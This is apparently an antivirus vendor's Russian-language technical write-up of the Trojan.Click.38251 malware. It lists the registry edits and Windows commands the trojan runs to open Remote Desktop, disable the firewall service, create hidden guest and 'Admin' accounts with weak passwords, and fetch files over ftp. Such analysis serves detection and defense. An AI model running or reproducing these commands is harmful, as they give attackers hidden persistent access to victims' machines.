Trojan.Click.38251

Техническая информация

Для обеспечения автозапуска и распространения:

Создает следующие сервисы:

[<HKLM>\SYSTEM\ControlSet001\Services\TermService] 'Start' = '00000002'

Вредоносные функции:

Создает и запускает на исполнение:

'C:\3389.SCR' /S

Запускает на исполнение:

'<SYSTEM32>\sc.exe' delete sharedaccess
'<SYSTEM32>\net1.exe' stop sharedaccess
'<SYSTEM32>\svchost.exe' -k DcomLaunch
'<SYSTEM32>\net1.exe' start dcomlaunch
'<SYSTEM32>\net.exe' stop sharedaccess
'<SYSTEM32>\net1.exe' user guest /active:yes
'<SYSTEM32>\reg.exe' ADD "HKLM\SYSTEM\CurrentControlSet\Services\TermService" /v Description /t REG_SZ /d "╩╣╗∙╙┌COMS╫щ╝■║╦╨─╡─│╠╨Є─▄┤┤╜и╬─╝■.╚ч╣√┤╦╖■╬ё▒╗╓╒╓╣,└╢╔л╙ю╓ц│Ў╞╖╓╒╢╦3389╜л╗с╩з╚е╒т╨й╧╡═│╣ж─▄.┤╦╧╡═│╖■╬ё╡─├ш╩Ў╨┼╧в─у╥▓┐╔╥╘╫╘╝║╕№╕─.Good Lucky!" /f
'<SYSTEM32>\shutdown.exe' -a
'<SYSTEM32>\net1.exe' localgroup %USERNAME%s guest /add
'<SYSTEM32>\ftp.exe' -s:BaiDu.url
'<SYSTEM32>\net1.exe' user guest 415022866
'<SYSTEM32>\ftp.exe' -s:BaiDu2.url
'<SYSTEM32>\ftp.exe' -s:BaiDu1.url
'<SYSTEM32>\attrib.exe' +s +h C:\┐э┤°┴┤╜╙║═pid╨┼╧в╬─╝■.txt
'<SYSTEM32>\net1.exe' start termservice
'<SYSTEM32>\sc.exe' config termservice start= AUTO
'<SYSTEM32>\ipconfig.exe' /all
'<SYSTEM32>\net1.exe' users
'<SYSTEM32>\tasklist.exe' /SVC
'<SYSTEM32>\attrib.exe' +s +h "%ALLUSERSPROFILE%\Templates"
'<SYSTEM32>\taskkill.exe' /f /pid 844
'<SYSTEM32>\findstr.exe' /i "DcomLaunch" pid.txt
'<SYSTEM32>\attrib.exe' +s +h 3389.SCR
'<SYSTEM32>\attrib.exe' -s -h Termsrvhack.dll
'<SYSTEM32>\cmd.exe' /c ""%TEMP%\3389.bat" /S"
'<SYSTEM32>\attrib.exe' +s +h "%TEMP%\3389.bat"
'<SYSTEM32>\attrib.exe' -s -h adsl.exe
'<SYSTEM32>\reg.exe' ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v KeepRASConnections /t REG_SZ /d 1 /f
'<SYSTEM32>\reg.exe' ADD "HKLM\SYSTEM\CurrentControlSet\Services\TermService\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d <SYSTEM32>\TermServiceKyo.dll /f
'<SYSTEM32>\reg.exe' ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Licensing Core" /v EnableConcurrentSessions /t REG_DWORD /d 00000001 /f
'<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v guest /t REG_DWORD /d 00000000 /f
'<SYSTEM32>\net1.exe' localgroup %USERNAME%s Admin /add
'<SYSTEM32>\net1.exe' user Admin 123456 /add
'<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v Admin /t REG_DWORD /d 00000000 /f
'<SYSTEM32>\net1.exe' user Admin 123456